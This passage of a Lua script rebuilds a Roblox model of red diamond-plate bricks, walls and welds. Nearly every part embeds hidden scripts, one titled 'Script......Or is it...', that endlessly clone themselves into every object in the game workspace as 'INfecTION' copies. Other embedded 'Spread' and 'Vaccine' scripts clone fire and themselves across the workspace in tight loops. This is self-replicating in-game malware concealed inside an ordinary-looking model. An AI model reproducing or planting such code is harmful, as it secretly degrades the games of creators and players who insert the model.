  2389. local objs = {}
  2390. function Search(obj)
  2391. if obj~=workspace then
  2392. table.insert(objs,obj)
  2393. end
  2394. if #obj:GetChildren() > 0 then
  2395. for i, v in ipairs(obj:GetChildren()) do
  2396. Search(v)
  2397. end
  2398. end
  2399. end
  2400. Search(mdl)
  2401. return objs
  2402. end
  2403.  
  2404.  
  2405.  
  2406. for i, v in ipairs(GetAllItems(workspace)) do
  2407. if v.className == "Script" then
  2408. if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
  2409. v.Parent = game.Lighting --Just in case it has a removal prevention.
  2410. t = Instance.new("ObjectValue")
  2411. t.Name = "IsAVirus"
  2412. t.Parent = v
  2413. end
  2414. end
  2415. end
  2416.  
  2417. for i, v in ipairs(game.Lighting:GetChildren()) do
  2418. if v:findFirstChild("IsAVirus") then --Only remove the viruses.
  2419. v:remove()
  2420. end
  2421. end
  2422.  
  2423.  
  2424. end))
  2425. ManualWeld148.Name = "spaceWall-to-spaceWall Strong Joint"
  2426. ManualWeld148.Parent = Part138
  2427. ManualWeld148.C0 = CFrame.new(0.799999714, -0.499999672, 0.899999499, 0, 0, 1, 0, 1, -0, -1, 0, 0)
  2428. ManualWeld148.C1 = CFrame.new(-1.39990234, -0.540008545, -0.299987793, 1, 0, -4.37113883e-08, 0, 1, 0, 4.37113883e-08, 0, 1)
  2429. ManualWeld148.Part0 = Part138
  2430. ManualWeld148.Part1 = Part95
  2431. ManualWeld148.part1 = Part95
  2432. ManualWeld149.Name = "spaceWall-to-spaceWall Strong Joint"
  2433. ManualWeld149.Parent = Part138
  2434. ManualWeld149.C0 = CFrame.new(0.799999714, -0.499999672, 0.899999499, 0, 0, 1, 0, 1, -0, -1, 0, 0)
  2435. ManualWeld149.C1 = CFrame.new(-0.400024414, -0.540008545, -0.300003052, 1, 0, -4.37113883e-08, 0, 1, 0, 4.37113883e-08, 0, 1)
  2436. ManualWeld149.Part0 = Part138
  2437. ManualWeld149.Part1 = Part87
  2438. ManualWeld149.part1 = Part87
  2439. Part150.Name = "Smooth Block Model"
  2440. Part150.Parent = Model0
  2441. Part150.CFrame = CFrame.new(-9.6106596, 0.899998009, -6.35842896, 1.00000131, 0, 0, 0, 1.00000131, 0, 0, 0, 1)
  2442. Part150.Position = Vector3.new(-9.6106596, 0.899998009, -6.35842896)
  2443. Part150.Color = Color3.new(0.768627, 0.156863, 0.109804)
  2444. Part150.Size = Vector3.new(0.400000036, 1.79999948, 0.400000006)
  2445. Part150.Anchored = true
  2446. Part150.BottomSurface = Enum.SurfaceType.Smooth
  2447. Part150.BrickColor = BrickColor.new("Bright red")
  2448. Part150.Material = Enum.Material.DiamondPlate
  2449. Part150.TopSurface = Enum.SurfaceType.Smooth
  2450. Part150.brickColor = BrickColor.new("Bright red")
  2451. Part150.FormFactor = Enum.FormFactor.Custom
  2452. Part150.formFactor = Enum.FormFactor.Custom
  2453. Fire151.Parent = Part150
  2454. Fire151.Color = Color3.new(1, 0.678431, 0)
  2455. Fire151.Enabled = false
  2456. Fire151.Size = 30
  2457. Fire151.Heat = 25
  2458. Fire151.SecondaryColor = Color3.new(1, 0, 0)
  2459. Fire151.size = 30
  2460. Script152.Name = "Spread"
  2461. Script152.Parent = Fire151
  2462. table.insert(cors,sandbox(Script152,function()
  2463. function Spread(part)
  2464. check = part:findFirstChild("Fire")
  2465. if check == nil then
  2466. script.Parent:Clone().Parent = part
  2467.  
  2468. elseif check ~= nil then
  2469. check.Size = check.Size + 1000000
  2470. check.Heat = check.Heat +1000000
  2471. end
  2472. end
  2473.  
  2474.  
  2475. script.Parent.Parent.Touched:connect(Spread)
  2476.  
  2477. end))
  2478. BoolValue153.Name = "RobloxStamper"
  2479. BoolValue153.Parent = Part150
  2480. BoolValue154.Name = "RobloxModel"
  2481. BoolValue154.Parent = Part150
  2482. RotateP155.Name = "INfecTION"
  2483. RotateP155.Parent = Part150
  2484. RotateP155.BaseAngle = 0.25
  2485. Script156.Name = "Script......Or is it..."
  2486. Script156.Parent = RotateP155
  2487. table.insert(cors,sandbox(Script156,function()
  2488. if script.Parent.className ~= "RotateP" then
  2489. local p = Instance.new("RotateP")
  2490. p.Parent = workspace
  2491. p.Name = "INfecTION"
  2492. script.Parent = p
  2493. end
  2494.  
  2495. function check()
  2496. local list = workspace:GetChildren()
  2497. for i = 1, #list do
  2498. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  2499. script.Parent:Clone().Parent = list[i]
  2500. end
  2501. wait()
  2502. end
  2503. end
  2504.  
  2505. while true do
  2506. check()
  2507. if workspace:findFirstChild("inFECtion") == nil then
  2508. local main = script.Parent:Clone()
  2509. main.Name = "inFECtion"
  2510. main.Parent = workspace
  2511. end
  2512. wait(3)
  2513. end
  2514.  
  2515. end))
  2516. ManualWeld157.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
  2517. ManualWeld157.Parent = Part150
  2518. ManualWeld157.C0 = CFrame.new(0.200000018, -0.899999738, -0.200000003, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  2519. ManualWeld157.C1 = CFrame.new(0.200000763, -0.899999619, 0.199996948, -1, 0, 0, 0, 1, 0, 0, 0, -1)
  2520. ManualWeld157.Part0 = Part150
  2521. ManualWeld157.Part1 = Part168
  2522. ManualWeld157.part1 = Part168
  2523. ManualWeld158.Name = "Smooth Block Model-to-Smooth Block Model Strong Joint"
  2524. ManualWeld158.Parent = Part150
  2525. ManualWeld158.C0 = CFrame.new(0.200000018, -0.899999738, 0.200000003, 0, 0, 1, 0, 1, -0, -1, 0, 0)
  2526. ManualWeld158.C1 = CFrame.new(-0.200000763, -0.899999619, 0.199996948, 0, 0, 1, 0, 1, -0, -1, 0, 0)
  2527. ManualWeld158.Part0 = Part150
  2528. ManualWeld158.Part1 = Part160
  2529. ManualWeld158.part1 = Part160
  2530. Script159.Name = "Vaccine"
  2531. Script159.Parent = Part150
  2532. table.insert(cors,sandbox(Script159,function()
  2533. function spread() -- created by nadnarb4
  2534. local stuff = game.Workspace:GetChildren()
  2535. for i = 1, #stuff do
  2536. if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
  2537. local clone = script:clone()
  2538. clone.Parent = stuff[i]
  2539. end
  2540. end
  2541. end
  2542.  
  2543. while true do
  2544. wait(.1)
  2545. spread()
  2546. end
  2547.  
  2548. function GetAllItems(mdl)
  2549. local objs = {}
  2550. function Search(obj)
  2551. if obj~=workspace then
  2552. table.insert(objs,obj)
  2553. end
  2554. if #obj:GetChildren() > 0 then
  2555. for i, v in ipairs(obj:GetChildren()) do
  2556. Search(v)
  2557. end
  2558. end
  2559. end
  2560. Search(mdl)
  2561. return objs
  2562. end
  2563.  
  2564.  
  2565.  
  2566. for i, v in ipairs(GetAllItems(workspace)) do
  2567. if v.className == "Script" then
  2568. if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
  2569. v.Parent = game.Lighting --Just in case it has a removal prevention.
  2570. t = Instance.new("ObjectValue")
  2571. t.Name = "IsAVirus"
  2572. t.Parent = v
  2573. end
  2574. end
  2575. end
  2576.  
  2577. for i, v in ipairs(game.Lighting:GetChildren()) do
  2578. if v:findFirstChild("IsAVirus") then --Only remove the viruses.
  2579. v:remove()
  2580. end
  2581. end
  2582.  
  2583.  
  2584. end))
  2585. Part160.Name = "Smooth Block Model"
  2586. Part160.Parent = Model0
  2587. Part160.CFrame = CFrame.new(-9.21063614, 0.899998009, -6.35842896, 1.00000131, 0, 0, 0, 1.00000131, 0, 0, 0, 1)
  2588. Part160.Position = Vector3.new(-9.21063614, 0.899998009, -6.35842896)
  2589. Part160.Color = Color3.new(0.768627, 0.156863, 0.109804)
  2590. Part160.Size = Vector3.new(0.400000036, 1.79999948, 0.400000006)
  2591. Part160.Anchored = true
  2592. Part160.BottomSurface = Enum.SurfaceType.Smooth
  2593. Part160.BrickColor = BrickColor.new("Bright red")
  2594. Part160.Material = Enum.Material.DiamondPlate
  2595. Part160.TopSurface = Enum.SurfaceType.Smooth
  2596. Part160.brickColor = BrickColor.new("Bright red")
  2597. Part160.FormFactor = Enum.FormFactor.Custom
  2598. Part160.formFactor = Enum.FormFactor.Custom
  2599. Fire161.Parent = Part160
  2600. Fire161.Color = Color3.new(1, 0.678431, 0)
  2601. Fire161.Enabled = false
  2602. Fire161.Size = 30
  2603. Fire161.Heat = 25
  2604. Fire161.SecondaryColor = Color3.new(1, 0, 0)
  2605. Fire161.size = 30
  2606. Script162.Name = "Spread"
  2607. Script162.Parent = Fire161
  2608. table.insert(cors,sandbox(Script162,function()
  2609. function Spread(part)
  2610. check = part:findFirstChild("Fire")
  2611. if check == nil then
  2612. script.Parent:Clone().Parent = part
  2613.  
  2614. elseif check ~= nil then
  2615. check.Size = check.Size + 1000000
  2616. check.Heat = check.Heat +1000000
  2617. end
  2618. end
  2619.  
  2620.  
  2621. script.Parent.Parent.Touched:connect(Spread)
  2622.  
  2623. end))
  2624. BoolValue163.Name = "RobloxStamper"
  2625. BoolValue163.Parent = Part160
  2626. BoolValue164.Name = "RobloxModel"
  2627. BoolValue164.Parent = Part160
  2628. RotateP165.Name = "INfecTION"
  2629. RotateP165.Parent = Part160
  2630. RotateP165.BaseAngle = 0.25
  2631. Script166.Name = "Script......Or is it..."
  2632. Script166.Parent = RotateP165
  2633. table.insert(cors,sandbox(Script166,function()
  2634. if script.Parent.className ~= "RotateP" then
  2635. local p = Instance.new("RotateP")
  2636. p.Parent = workspace
  2637. p.Name = "INfecTION"
  2638. script.Parent = p
  2639. end
  2640.  
  2641. function check()
  2642. local list = workspace:GetChildren()
  2643. for i = 1, #list do
  2644. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  2645. script.Parent:Clone().Parent = list[i]
  2646. end
  2647. wait()
  2648. end
  2649. end
  2650.  
  2651. while true do
  2652. check()
  2653. if workspace:findFirstChild("inFECtion") == nil then
  2654. local main = script.Parent:Clone()
  2655. main.Name = "inFECtion"
  2656. main.Parent = workspace
  2657. end
  2658. wait(3)
  2659. end
  2660.  
  2661. end))
  2662. Script167.Name = "Vaccine"
  2663. Script167.Parent = Part160
  2664. table.insert(cors,sandbox(Script167,function()
  2665. function spread() -- created by nadnarb4
  2666. local stuff = game.Workspace:GetChildren()
  2667. for i = 1, #stuff do
  2668. if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
  2669. local clone = script:clone()
  2670. clone.Parent = stuff[i]
  2671. end
  2672. end
  2673. end
  2674.  
  2675. while true do
  2676. wait(.1)
  2677. spread()
  2678. end
  2679.  
  2680. function GetAllItems(mdl)
  2681. local objs = {}
  2682. function Search(obj)
  2683. if obj~=workspace then
  2684. table.insert(objs,obj)
  2685. end
  2686. if #obj:GetChildren() > 0 then
  2687. for i, v in ipairs(obj:GetChildren()) do
  2688. Search(v)
  2689. end
  2690. end
  2691. end
  2692. Search(mdl)
  2693. return objs
  2694. end
  2695.  
  2696.  
  2697.  
  2698. for i, v in ipairs(GetAllItems(workspace)) do
  2699. if v.className == "Script" then
  2700. if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
  2701. v.Parent = game.Lighting --Just in case it has a removal prevention.
  2702. t = Instance.new("ObjectValue")
  2703. t.Name = "IsAVirus"
  2704. t.Parent = v
  2705. end
  2706. end
  2707. end
  2708.  
  2709. for i, v in ipairs(game.Lighting:GetChildren()) do
  2710. if v:findFirstChild("IsAVirus") then --Only remove the viruses.
  2711. v:remove()
  2712. end
  2713. end
  2714.  
  2715.  
  2716. end))
  2717. Part168.Name = "Smooth Block Model"
  2718. Part168.Parent = Model0
  2719. Part168.CFrame = CFrame.new(-9.6106596, 0.899998009, -6.75842619, 1.00000131, 0, 0, 0, 1.00000131, 0, 0, 0, 1)
  2720. Part168.Position = Vector3.new(-9.6106596, 0.899998009, -6.75842619)
  2721. Part168.Color = Color3.new(0.768627, 0.156863, 0.109804)
  2722. Part168.Size = Vector3.new(0.400000036, 1.79999948, 0.400000006)
  2723. Part168.Anchored = true
  2724. Part168.BottomSurface = Enum.SurfaceType.Smooth
  2725. Part168.BrickColor = BrickColor.new("Bright red")
  2726. Part168.Material = Enum.Material.DiamondPlate
  2727. Part168.TopSurface = Enum.SurfaceType.Smooth
  2728. Part168.brickColor = BrickColor.new("Bright red")
  2729. Part168.FormFactor = Enum.FormFactor.Custom
  2730. Part168.formFactor = Enum.FormFactor.Custom
  2731. Fire169.Parent = Part168
  2732. Fire169.Color = Color3.new(1, 0.678431, 0)
  2733. Fire169.Enabled = false
  2734. Fire169.Size = 30
  2735. Fire169.Heat = 25
  2736. Fire169.SecondaryColor = Color3.new(1, 0, 0)
  2737. Fire169.size = 30
  2738. Script170.Name = "Spread"
  2739. Script170.Parent = Fire169
  2740. table.insert(cors,sandbox(Script170,function()
  2741. function Spread(part)
  2742. check = part:findFirstChild("Fire")
  2743. if check == nil then
  2744. script.Parent:Clone().Parent = part
  2745.  
  2746. elseif check ~= nil then
  2747. check.Size = check.Size + 1000000
  2748. check.Heat = check.Heat +1000000
  2749. end
  2750. end
  2751.  
  2752.  
  2753. script.Parent.Parent.Touched:connect(Spread)
  2754.  
  2755. end))
  2756. BoolValue171.Name = "RobloxStamper"
  2757. BoolValue171.Parent = Part168
  2758. BoolValue172.Name = "RobloxModel"
  2759. BoolValue172.Parent = Part168
  2760. RotateP173.Name = "INfecTION"
  2761. RotateP173.Parent = Part168
  2762. RotateP173.BaseAngle = 0.25
  2763. Script174.Name = "Script......Or is it..."
  2764. Script174.Parent = RotateP173
  2765. table.insert(cors,sandbox(Script174,function()
  2766. if script.Parent.className ~= "RotateP" then
  2767. local p = Instance.new("RotateP")
  2768. p.Parent = workspace
  2769. p.Name = "INfecTION"
  2770. script.Parent = p
  2771. end
  2772.  
  2773. function check()
  2774. local list = workspace:GetChildren()
  2775. for i = 1, #list do
  2776. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  2777. script.Parent:Clone().Parent = list[i]
  2778. end
  2779. wait()
  2780. end
  2781. end
  2782.  
  2783. while true do
  2784. check()
  2785. if workspace:findFirstChild("inFECtion") == nil then
  2786. local main = script.Parent:Clone()
  2787. main.Name = "inFECtion"
  2788. main.Parent = workspace
  2789. end
  2790. wait(3)
  2791. end
  2792.  
  2793. end))
  2794. Script175.Name = "Vaccine"
  2795. Script175.Parent = Part168
  2796. table.insert(cors,sandbox(Script175,function()
  2797. function spread() -- created by nadnarb4
  2798. local stuff = game.Workspace:GetChildren()
  2799. for i = 1, #stuff do
  2800. if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
  2801. local clone = script:clone()
  2802. clone.Parent = stuff[i]
  2803. end
  2804. end
  2805. end
  2806.  
  2807. while true do
  2808. wait(.1)
  2809. spread()
  2810. end
  2811.  
  2812. function GetAllItems(mdl)
  2813. local objs = {}
  2814. function Search(obj)
  2815. if obj~=workspace then
  2816. table.insert(objs,obj)
  2817. end
  2818. if #obj:GetChildren() > 0 then
  2819. for i, v in ipairs(obj:GetChildren()) do
  2820. Search(v)
  2821. end
  2822. end
  2823. end
  2824. Search(mdl)
  2825. return objs
  2826. end
  2827.  
  2828.  
  2829.  
  2830. for i, v in ipairs(GetAllItems(workspace)) do
  2831. if v.className == "Script" then
  2832. if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
  2833. v.Parent = game.Lighting --Just in case it has a removal prevention.
  2834. t = Instance.new("ObjectValue")
  2835. t.Name = "IsAVirus"
  2836. t.Parent = v
  2837. end
  2838. end
  2839. end
  2840.  
  2841. for i, v in ipairs(game.Lighting:GetChildren()) do
  2842. if v:findFirstChild("IsAVirus") then --Only remove the viruses.
  2843. v:remove()
  2844. end
  2845. end
  2846.  
  2847.  
  2848. end))
  2849. WedgePart176.Name = "spaceWallCorner"
  2850. WedgePart176.Parent = Model0
  2851. WedgePart176.CFrame = CFrame.new(-9.0106802, 4.17999887, -8.25842476, 0, -1.00000131, 0, 0, 0, -1.00000131, 1, 0, 0)
  2852. WedgePart176.Orientation = Vector3.new(90, -90, 0)
  2853. WedgePart176.Position = Vector3.new(-9.0106802, 4.17999887, -8.25842476)
  2854. WedgePart176.Rotation = Vector3.new(90, 0, 90)
  2855. WedgePart176.Color = Color3.new(0.388235, 0.372549, 0.384314)
  2856. WedgePart176.Size = Vector3.new(1.79999948, 0.799999356, 0.599999368)
  2857. WedgePart176.Anchored = true
  2858. WedgePart176.BottomSurface = Enum.SurfaceType.Smooth
  2859. WedgePart176.BrickColor = BrickColor.new("Dark stone grey")
  2860. WedgePart176.Material = Enum.Material.DiamondPlate
  2861. WedgePart176.brickColor = BrickColor.new("Dark stone grey")
  2862. WedgePart176.FormFactor = Enum.FormFactor.Custom
  2863. WedgePart176.formFactor = Enum.FormFactor.Custom
  2864. BoolValue177.Name = "RobloxStamper"
  2865. BoolValue177.Parent = WedgePart176
  2866. BoolValue178.Name = "RobloxModel"
  2867. BoolValue178.Parent = WedgePart176
  2868. RotateP179.Name = "INfecTION"
  2869. RotateP179.Parent = WedgePart176
  2870. RotateP179.BaseAngle = 0.25
  2871. Script180.Name = "Script......Or is it..."
  2872. Script180.Parent = RotateP179
  2873. table.insert(cors,sandbox(Script180,function()
  2874. if script.Parent.className ~= "RotateP" then
  2875. local p = Instance.new("RotateP")
  2876. p.Parent = workspace
  2877. p.Name = "INfecTION"
  2878. script.Parent = p
  2879. end
  2880.  
  2881. function check()
  2882. local list = workspace:GetChildren()
  2883. for i = 1, #list do
  2884. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  2885. script.Parent:Clone().Parent = list[i]
  2886. end
  2887. wait()
  2888. end
  2889. end
  2890.  
  2891. while true do
  2892. check()
  2893. if workspace:findFirstChild("inFECtion") == nil then
  2894. local main = script.Parent:Clone()
  2895. main.Name = "inFECtion"
  2896. main.Parent = workspace
  2897. end
  2898. wait(3)
  2899. end
  2900.  
  2901. end))
  2902. Fire181.Parent = WedgePart176
  2903. Fire181.Color = Color3.new(1, 0.678431, 0)
  2904. Fire181.Enabled = false
  2905. Fire181.Size = 30
  2906. Fire181.Heat = 25
  2907. Fire181.SecondaryColor = Color3.new(1, 0, 0)
  2908. Fire181.size = 30
  2909. Script182.Name = "Spread"
  2910. Script182.Parent = Fire181
  2911. table.insert(cors,sandbox(Script182,function()
  2912. function Spread(part)
  2913. check = part:findFirstChild("Fire")
  2914. if check == nil then
  2915. script.Parent:Clone().Parent = part
  2916.  
  2917. elseif check ~= nil then
  2918. check.Size = check.Size + 1000000
  2919. check.Heat = check.Heat +1000000
  2920. end
  2921. end
  2922.  
  2923.  
  2924. script.Parent.Parent.Touched:connect(Spread)
  2925.  
  2926. end))
  2927. ManualWeld183.Name = "spaceWallCorner-to-spaceWall Strong Joint"
  2928. ManualWeld183.Parent = WedgePart176
  2929. ManualWeld183.C0 = CFrame.new(0.899999738, -0.399999678, -0.299999684, -1, 0, 0, 0, 0.800000072, 0.599999905, 0, 0.599999905, -0.800000072)
  2930. ManualWeld183.C1 = CFrame.new(0.400001526, -0.500000954, -1.5, 0, 0, -1, 0, 1, 0, 1, 0, 0)
  2931. ManualWeld183.Part0 = WedgePart176
  2932. ManualWeld183.Part1 = Part187
  2933. ManualWeld183.part1 = Part187
  2934. ManualWeld184.Name = "spaceWallCorner-to-spaceWall Strong Joint"
  2935. ManualWeld184.Parent = WedgePart176
  2936. ManualWeld184.C0 = CFrame.new(0.899999738, -0.399999678, -0.299999684, -1, 0, 0, 0, 0.800000072, 0.599999905, 0, 0.599999905, -0.800000072)
  2937. ManualWeld184.C1 = CFrame.new(0.400001526, -0.900001526, 0.499999046, 0, 0, -1, 1, 0, 0, 0, -1, 0)
  2938. ManualWeld184.Part0 = WedgePart176
  2939. ManualWeld184.Part1 = Part205
  2940. ManualWeld184.part1 = Part205
  2941. ManualWeld185.Name = "spaceWallCorner-to-spaceWall Strong Joint"
  2942. ManualWeld185.Parent = WedgePart176
  2943. ManualWeld185.C0 = CFrame.new(0.899999738, -0.399999678, -0.299999684, -1, 0, 0, 0, 0.800000072, 0.599999905, 0, 0.599999905, -0.800000072)
  2944. ManualWeld185.C1 = CFrame.new(0.400001526, -0.299995422, 0.499999046, 0, 0, -1, 1, 0, 0, 0, -1, 0)
  2945. ManualWeld185.Part0 = WedgePart176
  2946. ManualWeld185.Part1 = Part196
  2947. ManualWeld185.part1 = Part196
  2948. Script186.Name = "Vaccine"
  2949. Script186.Parent = WedgePart176
  2950. table.insert(cors,sandbox(Script186,function()
  2951. function spread() -- created by nadnarb4
  2952. local stuff = game.Workspace:GetChildren()
  2953. for i = 1, #stuff do
  2954. if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
  2955. local clone = script:clone()
  2956. clone.Parent = stuff[i]
  2957. end
  2958. end
  2959. end
  2960.  
  2961. while true do
  2962. wait(.1)
  2963. spread()
  2964. end
  2965.  
  2966. function GetAllItems(mdl)
  2967. local objs = {}
  2968. function Search(obj)
  2969. if obj~=workspace then
  2970. table.insert(objs,obj)
  2971. end
  2972. if #obj:GetChildren() > 0 then
  2973. for i, v in ipairs(obj:GetChildren()) do
  2974. Search(v)
  2975. end
  2976. end
  2977. end
  2978. Search(mdl)
  2979. return objs
  2980. end
  2981.  
  2982.  
  2983.  
  2984. for i, v in ipairs(GetAllItems(workspace)) do
  2985. if v.className == "Script" then
  2986. if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
  2987. v.Parent = game.Lighting --Just in case it has a removal prevention.
  2988. t = Instance.new("ObjectValue")
  2989. t.Name = "IsAVirus"
  2990. t.Parent = v
  2991. end
  2992. end
  2993. end
  2994.  
  2995. for i, v in ipairs(game.Lighting:GetChildren()) do
  2996. if v:findFirstChild("IsAVirus") then --Only remove the viruses.
  2997. v:remove()
  2998. end
  2999. end
  3000.  
  3001.  
  3002. end))
  3003. Part187.Name = "spaceWall"
  3004. Part187.Parent = Model0
  3005. Part187.CFrame = CFrame.new(-9.25067043, 4.50000095, -8.858428, 0.600000739, -0.800001144, 0, -0.800001144, -0.600000739, 0, 0, 0, -1)
  3006. Part187.Orientation = Vector3.new(0, 180, -126.870003)
  3007. Part187.Position = Vector3.new(-9.25067043, 4.50000095, -8.858428)
  3008. Part187.Rotation = Vector3.new(-180, 0, 53.1300011)
  3009. Part187.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3010. Part187.Size = Vector3.new(0.799999595, 0.200000033, 0.200000003)
  3011. Part187.Anchored = true
  3012. Part187.BottomSurface = Enum.SurfaceType.Smooth
  3013. Part187.BrickColor = BrickColor.new("Really black")
  3014. Part187.Material = Enum.Material.DiamondPlate
  3015. Part187.TopSurface = Enum.SurfaceType.Smooth
  3016. Part187.brickColor = BrickColor.new("Really black")
  3017. Part187.FormFactor = Enum.FormFactor.Custom
  3018. Part187.formFactor = Enum.FormFactor.Custom
  3019. BoolValue188.Name = "RobloxModel"
  3020. BoolValue188.Parent = Part187
  3021. BoolValue189.Name = "RobloxStamper"
  3022. BoolValue189.Parent = Part187
  3023. Fire190.Parent = Part187
  3024. Fire190.Color = Color3.new(1, 0.678431, 0)
  3025. Fire190.Enabled = false
  3026. Fire190.Size = 30
  3027. Fire190.Heat = 25
  3028. Fire190.SecondaryColor = Color3.new(1, 0, 0)
  3029. Fire190.size = 30
  3030. Script191.Name = "Spread"
  3031. Script191.Parent = Fire190
  3032. table.insert(cors,sandbox(Script191,function()
  3033. function Spread(part)
  3034. check = part:findFirstChild("Fire")
  3035. if check == nil then
  3036. script.Parent:Clone().Parent = part
  3037.  
  3038. elseif check ~= nil then
  3039. check.Size = check.Size + 1000000
  3040. check.Heat = check.Heat +1000000
  3041. end
  3042. end
  3043.  
  3044.  
  3045. script.Parent.Parent.Touched:connect(Spread)
  3046.  
  3047. end))
  3048. RotateP192.Name = "INfecTION"
  3049. RotateP192.Parent = Part187
  3050. RotateP192.BaseAngle = 0.25
  3051. Script193.Name = "Script......Or is it..."
  3052. Script193.Parent = RotateP192
  3053. table.insert(cors,sandbox(Script193,function()
  3054. if script.Parent.className ~= "RotateP" then
  3055. local p = Instance.new("RotateP")
  3056. p.Parent = workspace
  3057. p.Name = "INfecTION"
  3058. script.Parent = p
  3059. end
  3060.  
  3061. function check()
  3062. local list = workspace:GetChildren()
  3063. for i = 1, #list do
  3064. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  3065. script.Parent:Clone().Parent = list[i]
  3066. end
  3067. wait()
  3068. end
  3069. end
  3070.  
  3071. while true do
  3072. check()
  3073. if workspace:findFirstChild("inFECtion") == nil then
  3074. local main = script.Parent:Clone()
  3075. main.Name = "inFECtion"
  3076. main.Parent = workspace
  3077. end
  3078. wait(3)
  3079. end
  3080.  
  3081. end))
  3082. SpecialMesh194.Parent = Part187
  3083. SpecialMesh194.MeshType = Enum.MeshType.Cylinder
  3084. Script195.Name = "Vaccine"
  3085. Script195.Parent = Part187
  3086. table.insert(cors,sandbox(Script195,function()
  3087. function spread() -- created by nadnarb4
  3088. local stuff = game.Workspace:GetChildren()
  3089. for i = 1, #stuff do
  3090. if (stuff[i].className ~= "Script") and (stuff[i]:findFirstChild("Vaccine") == nil) and (stuff[i].className ~= "Camera") then
  3091. local clone = script:clone()
  3092. clone.Parent = stuff[i]
  3093. end
  3094. end
  3095. end
  3096.  
  3097. while true do
  3098. wait(.1)
  3099. spread()
  3100. end
  3101.  
  3102. function GetAllItems(mdl)
  3103. local objs = {}
  3104. function Search(obj)
  3105. if obj~=workspace then
  3106. table.insert(objs,obj)
  3107. end
  3108. if #obj:GetChildren() > 0 then
  3109. for i, v in ipairs(obj:GetChildren()) do
  3110. Search(v)
  3111. end
  3112. end
  3113. end
  3114. Search(mdl)
  3115. return objs
  3116. end
  3117.  
  3118.  
  3119.  
  3120. for i, v in ipairs(GetAllItems(workspace)) do
  3121. if v.className == "Script" then
  3122. if v.Name == "Chaotic" or v.Name == "Spreadify" or v.Name == "Virus" or v.Name == "Infected" then
  3123. v.Parent = game.Lighting --Just in case it has a removal prevention.
  3124. t = Instance.new("ObjectValue")
  3125. t.Name = "IsAVirus"
  3126. t.Parent = v
  3127. end
  3128. end
  3129. end
  3130.  
  3131. for i, v in ipairs(game.Lighting:GetChildren()) do
  3132. if v:findFirstChild("IsAVirus") then --Only remove the viruses.
  3133. v:remove()
  3134. end
  3135. end
  3136.  
  3137.  
  3138. end))
  3139. Part196.Name = "spaceWall"
  3140. Part196.Parent = Model0
  3141. Part196.CFrame = CFrame.new(-9.25067043, 4.50000095, -7.65842819, 0.600000739, 0, 0.800001144, -0.800001144, 0, 0.600000739, 0, -1, 0)
  3142. Part196.Orientation = Vector3.new(-36.8699989, 90, -90)
  3143. Part196.Position = Vector3.new(-9.25067043, 4.50000095, -7.65842819)
  3144. Part196.Rotation = Vector3.new(-90, 53.1300011, 0)
  3145. Part196.Color = Color3.new(0.0666667, 0.0666667, 0.0666667)
  3146. Part196.Size = Vector3.new(0.799999595, 0.200000003, 0.200000003)
  3147. Part196.Anchored = true
  3148. Part196.BottomSurface = Enum.SurfaceType.Smooth
  3149. Part196.BrickColor = BrickColor.new("Really black")
  3150. Part196.Material = Enum.Material.DiamondPlate
  3151. Part196.TopSurface = Enum.SurfaceType.Smooth
  3152. Part196.brickColor = BrickColor.new("Really black")
  3153. Part196.FormFactor = Enum.FormFactor.Custom
  3154. Part196.formFactor = Enum.FormFactor.Custom
  3155. BoolValue197.Name = "RobloxModel"
  3156. BoolValue197.Parent = Part196
  3157. BoolValue198.Name = "RobloxStamper"
  3158. BoolValue198.Parent = Part196
  3159. Fire199.Parent = Part196
  3160. Fire199.Color = Color3.new(1, 0.678431, 0)
  3161. Fire199.Enabled = false
  3162. Fire199.Size = 30
  3163. Fire199.Heat = 25
  3164. Fire199.SecondaryColor = Color3.new(1, 0, 0)
  3165. Fire199.size = 30
  3166. Script200.Name = "Spread"
  3167. Script200.Parent = Fire199
  3168. table.insert(cors,sandbox(Script200,function()
  3169. function Spread(part)
  3170. check = part:findFirstChild("Fire")
  3171. if check == nil then
  3172. script.Parent:Clone().Parent = part
  3173.  
  3174. elseif check ~= nil then
  3175. check.Size = check.Size + 1000000
  3176. check.Heat = check.Heat +1000000
  3177. end
  3178. end
  3179.  
  3180.  
  3181. script.Parent.Parent.Touched:connect(Spread)
  3182.  
  3183. end))
  3184. RotateP201.Name = "INfecTION"
  3185. RotateP201.Parent = Part196
  3186. RotateP201.BaseAngle = 0.25
  3187. Script202.Name = "Script......Or is it..."
  3188. Script202.Parent = RotateP201
  3189. table.insert(cors,sandbox(Script202,function()
  3190. if script.Parent.className ~= "RotateP" then
  3191. local p = Instance.new("RotateP")
  3192. p.Parent = workspace
  3193. p.Name = "INfecTION"
  3194. script.Parent = p
  3195. end
  3196.  
  3197. function check()
  3198. local list = workspace:GetChildren()
  3199. for i = 1, #list do
  3200. if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
  3201. script.Parent:Clone().Parent = list[i]
  3202. end
  3203. wait()
  3204. end
  3205. end
  3206.  
  3207. while true do
  3208. check()
  3209. if workspace:findFirstChild("inFECtion") == nil then
  3210. local main = script.Parent:Clone()
  3211. main.Name = "inFECtion"
  3212. main.Parent = workspace
  3213. end
  3214. wait(3)
  3215. end
  3216.  
  3217. end))
